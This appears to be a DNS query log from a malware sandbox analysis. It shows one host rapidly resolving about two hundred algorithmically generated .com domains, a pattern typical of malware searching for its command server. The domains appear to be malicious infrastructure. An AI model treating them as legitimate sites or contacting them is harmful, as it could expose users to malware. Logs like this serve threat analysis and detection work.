                                                                                                                                                                                                          Nov 11, 2024 18:13:51.884264946 CET192.168.2.61.1.1.10x6513Standard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.954066992 CET192.168.2.61.1.1.10x1677Standard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.005012035 CET192.168.2.61.1.1.10x6722Standard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.005918026 CET192.168.2.61.1.1.10xef48Standard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.011594057 CET192.168.2.61.1.1.10x8b27Standard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.709166050 CET192.168.2.61.1.1.10x84daStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.850207090 CET192.168.2.61.1.1.10xc8fdStandard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858375072 CET192.168.2.61.1.1.10xfa9bStandard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858397961 CET192.168.2.61.1.1.10x18eaStandard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858697891 CET192.168.2.61.1.1.10x9875Standard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858872890 CET192.168.2.61.1.1.10x2662Standard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.859236956 CET192.168.2.61.1.1.10x9601Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.879626036 CET192.168.2.61.1.1.10xb263Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.881638050 CET192.168.2.61.1.1.10xb5fbStandard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.881968975 CET192.168.2.61.1.1.10x980bStandard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.882330894 CET192.168.2.61.1.1.10x9dfcStandard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.884896994 CET192.168.2.61.1.1.10xf7edStandard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885122061 CET192.168.2.61.1.1.10x50fcStandard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885312080 CET192.168.2.61.1.1.10xd3d6Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885504007 CET192.168.2.61.1.1.10x3d2eStandard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885874987 CET192.168.2.61.1.1.10x3bf9Standard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.888515949 CET192.168.2.61.1.1.10x4422Standard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.890346050 CET192.168.2.61.1.1.10xb5fStandard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.896321058 CET192.168.2.61.1.1.10x4986Standard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.896620989 CET192.168.2.61.1.1.10x60c5Standard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935523033 CET192.168.2.61.1.1.10xa15bStandard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935756922 CET192.168.2.61.1.1.10x1cb7Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935842991 CET192.168.2.61.1.1.10x6c80Standard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936016083 CET192.168.2.61.1.1.10x83c2Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936288118 CET192.168.2.61.1.1.10x913aStandard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936554909 CET192.168.2.61.1.1.10x5072Standard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936749935 CET192.168.2.61.1.1.10xb876Standard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942032099 CET192.168.2.61.1.1.10xcb38Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942205906 CET192.168.2.61.1.1.10x39b7Standard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942363024 CET192.168.2.61.1.1.10x31fStandard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942570925 CET192.168.2.61.1.1.10xa351Standard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.943293095 CET192.168.2.61.1.1.10x4908Standard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950253963 CET192.168.2.61.1.1.10xa0ddStandard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950419903 CET192.168.2.61.1.1.10xdd26Standard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950577974 CET192.168.2.61.1.1.10xe240Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950715065 CET192.168.2.61.1.1.10xfe35Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950856924 CET192.168.2.61.1.1.10x4a17Standard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950985909 CET192.168.2.61.1.1.10x4ecfStandard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951160908 CET192.168.2.61.1.1.10x2264Standard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951176882 CET192.168.2.61.1.1.10xf2b6Standard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951354980 CET192.168.2.61.1.1.10xe808Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951386929 CET192.168.2.61.1.1.10xa312Standard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.958671093 CET192.168.2.61.1.1.10xdf53Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.958925009 CET192.168.2.61.1.1.10xdae1Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959069967 CET192.168.2.61.1.1.10xa67dStandard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959285975 CET192.168.2.61.1.1.10x59cfStandard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959541082 CET192.168.2.61.1.1.10xe908Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959721088 CET192.168.2.61.1.1.10xb5ceStandard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959940910 CET192.168.2.61.1.1.10x4cbeStandard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960211039 CET192.168.2.61.1.1.10xd843Standard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960433960 CET192.168.2.61.1.1.10xabd5Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960741997 CET192.168.2.61.1.1.10xf760Standard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.963376999 CET192.168.2.61.1.1.10x1aeStandard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.965635061 CET192.168.2.61.1.1.10x9c58Standard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.965799093 CET192.168.2.61.1.1.10x8b49Standard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.966116905 CET192.168.2.61.1.1.10xfe61Standard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.097714901 CET192.168.2.61.1.1.10xc8d7Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.098074913 CET192.168.2.61.1.1.10x7309Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.098351002 CET192.168.2.61.1.1.10xa106Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.291706085 CET192.168.2.61.1.1.10x7e3fStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.292710066 CET192.168.2.61.1.1.10xaaf6Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.614945889 CET192.168.2.61.1.1.10x88c5Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.930306911 CET192.168.2.61.1.1.10xef08Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.959090948 CET192.168.2.61.1.1.10x4bd4Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.959578991 CET192.168.2.61.1.1.10x53e1Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.974843025 CET192.168.2.61.1.1.10xb081Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.018883944 CET192.168.2.61.1.1.10xe5f1Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.202828884 CET192.168.2.61.1.1.10xac4aStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.203274012 CET192.168.2.61.1.1.10x1eaStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.349356890 CET192.168.2.61.1.1.10x427bStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.703922033 CET192.168.2.61.1.1.10x57b5Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.725263119 CET192.168.2.61.1.1.10x258aStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726016998 CET192.168.2.61.1.1.10x729eStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726358891 CET192.168.2.61.1.1.10x5072Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726466894 CET192.168.2.61.1.1.10x7fc4Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.263694048 CET192.168.2.61.1.1.10x4a0cStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.302767992 CET192.168.2.61.1.1.10x8fadStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.313999891 CET192.168.2.61.1.1.10xf9f9Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.363590002 CET192.168.2.61.1.1.10x2a2bStandard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.416745901 CET192.168.2.61.1.1.10xcba9Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.646405935 CET192.168.2.61.1.1.10xc27eStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.660568953 CET192.168.2.61.1.1.10xb289Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.661365032 CET192.168.2.61.1.1.10x5965Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.690542936 CET192.168.2.61.1.1.10x84f1Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.787370920 CET192.168.2.61.1.1.10xb5acStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857578993 CET192.168.2.61.1.1.10xf2f0Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857990026 CET192.168.2.61.1.1.10x92aStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.858131886 CET192.168.2.61.1.1.10x58b9Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.858974934 CET192.168.2.61.1.1.10x6dd1Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.959685087 CET192.168.2.61.1.1.10xaf88Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.049329996 CET192.168.2.61.1.1.10xdcStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.336786032 CET192.168.2.61.1.1.10xa5e7Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.411204100 CET192.168.2.61.1.1.10x15c0Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592657089 CET192.168.2.61.1.1.10x3bbeStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592657089 CET192.168.2.61.1.1.10x180aStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592959881 CET192.168.2.61.1.1.10x3555Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.593172073 CET192.168.2.61.1.1.10xd749Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.593512058 CET192.168.2.61.1.1.10x2670Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.387499094 CET192.168.2.61.1.1.10xe124Standard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.484194994 CET192.168.2.61.1.1.10x67abStandard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.485918999 CET192.168.2.61.1.1.10xe53dStandard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.507083893 CET192.168.2.61.1.1.10x5024Standard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.507764101 CET192.168.2.61.1.1.10xad71Standard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.653889894 CET192.168.2.61.1.1.10xa2d1Standard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.725497961 CET192.168.2.61.1.1.10x5f9dStandard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.807223082 CET192.168.2.61.1.1.10xecd1Standard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.993000984 CET192.168.2.61.1.1.10xda84Standard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:59.624464035 CET192.168.2.61.1.1.10xda2bStandard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.106010914 CET192.168.2.61.1.1.10x6e33Standard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.109219074 CET192.168.2.61.1.1.10xf8f6Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.110028028 CET192.168.2.61.1.1.10xfdd1Standard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.131160975 CET192.168.2.61.1.1.10xbf71Standard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.134798050 CET192.168.2.61.1.1.10xa81fStandard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.135440111 CET192.168.2.61.1.1.10xce5fStandard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.138149977 CET192.168.2.61.1.1.10xfe0cStandard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.139301062 CET192.168.2.61.1.1.10xbce8Standard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.143626928 CET192.168.2.61.1.1.10x9157Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.149887085 CET192.168.2.61.1.1.10x3295Standard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.150072098 CET192.168.2.61.1.1.10xbf3cStandard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.151182890 CET192.168.2.61.1.1.10x1973Standard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.152496099 CET192.168.2.61.1.1.10x9d5eStandard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.152973890 CET192.168.2.61.1.1.10xc1f8Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.153093100 CET192.168.2.61.1.1.10x4e0eStandard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.155137062 CET192.168.2.61.1.1.10x3383Standard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.174163103 CET192.168.2.61.1.1.10x7cd9Standard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.175407887 CET192.168.2.61.1.1.10x6757Standard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177094936 CET192.168.2.61.1.1.10xfa04Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177282095 CET192.168.2.61.1.1.10xb8a5Standard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177483082 CET192.168.2.61.1.1.10xe035Standard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177743912 CET192.168.2.61.1.1.10xd49Standard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177947998 CET192.168.2.61.1.1.10x5a25Standard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178205967 CET192.168.2.61.1.1.10xce90Standard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178456068 CET192.168.2.61.1.1.10x66d6Standard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178615093 CET192.168.2.61.1.1.10xf525Standard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.181927919 CET192.168.2.61.1.1.10xefe4Standard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.184690952 CET192.168.2.61.1.1.10xe9fStandard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185148001 CET192.168.2.61.1.1.10x97b4Standard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185348034 CET192.168.2.61.1.1.10xb2b0Standard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185745001 CET192.168.2.61.1.1.10xe3a7Standard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187144041 CET192.168.2.61.1.1.10x830fStandard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187525988 CET192.168.2.61.1.1.10xe369Standard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187737942 CET192.168.2.61.1.1.10x5492Standard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187999010 CET192.168.2.61.1.1.10x8409Standard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.188519955 CET192.168.2.61.1.1.10x6665Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.190995932 CET192.168.2.61.1.1.10x82b9Standard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192178011 CET192.168.2.61.1.1.10x4417Standard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192447901 CET192.168.2.61.1.1.10xa6d7Standard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192769051 CET192.168.2.61.1.1.10x8019Standard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.193283081 CET192.168.2.61.1.1.10x60e1Standard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.199012995 CET192.168.2.61.1.1.10xc6afStandard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.200150013 CET192.168.2.61.1.1.10x6692Standard query (0)galypob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.200335979 CET192.168.2.61.1.1.10xabcdStandard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.201688051 CET192.168.2.61.1.1.10x3db7Standard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.201850891 CET192.168.2.61.1.1.10xe66fStandard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202295065 CET192.168.2.61.1.1.10x2c4eStandard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202891111 CET192.168.2.61.1.1.10x2373Standard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.207715034 CET192.168.2.61.1.1.10x1a0cStandard query (0)puzyceg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.208252907 CET192.168.2.61.1.1.10xb5a8Standard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.208803892 CET192.168.2.61.1.1.10x2a4bStandard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.209033966 CET192.168.2.61.1.1.10x191fStandard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.209100962 CET192.168.2.61.1.1.10x8559Standard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.388649940 CET192.168.2.61.1.1.10xf983Standard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.529186010 CET192.168.2.61.1.1.10xcd39Standard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.529993057 CET192.168.2.61.1.1.10xf9c4Standard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536406040 CET192.168.2.61.1.1.10xcb17Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536807060 CET192.168.2.61.1.1.10x9102Standard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536961079 CET192.168.2.61.1.1.10x6340Standard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.537256002 CET192.168.2.61.1.1.10x60dfStandard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.537615061 CET192.168.2.61.1.1.10xe485Standard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.538388968 CET192.168.2.61.1.1.10x8669Standard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.539943933 CET192.168.2.61.1.1.10xff21Standard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.542184114 CET192.168.2.61.1.1.10x5d5aStandard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.543396950 CET192.168.2.61.1.1.10x1176Standard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.543874025 CET192.168.2.61.1.1.10x1aa7Standard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.546792984 CET192.168.2.61.1.1.10x958Standard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550021887 CET192.168.2.61.1.1.10xaf0cStandard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550240040 CET192.168.2.61.1.1.10xb159Standard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550463915 CET192.168.2.61.1.1.10x4316Standard query (0)pumycav.comA (IP address)IN (0x0001)false
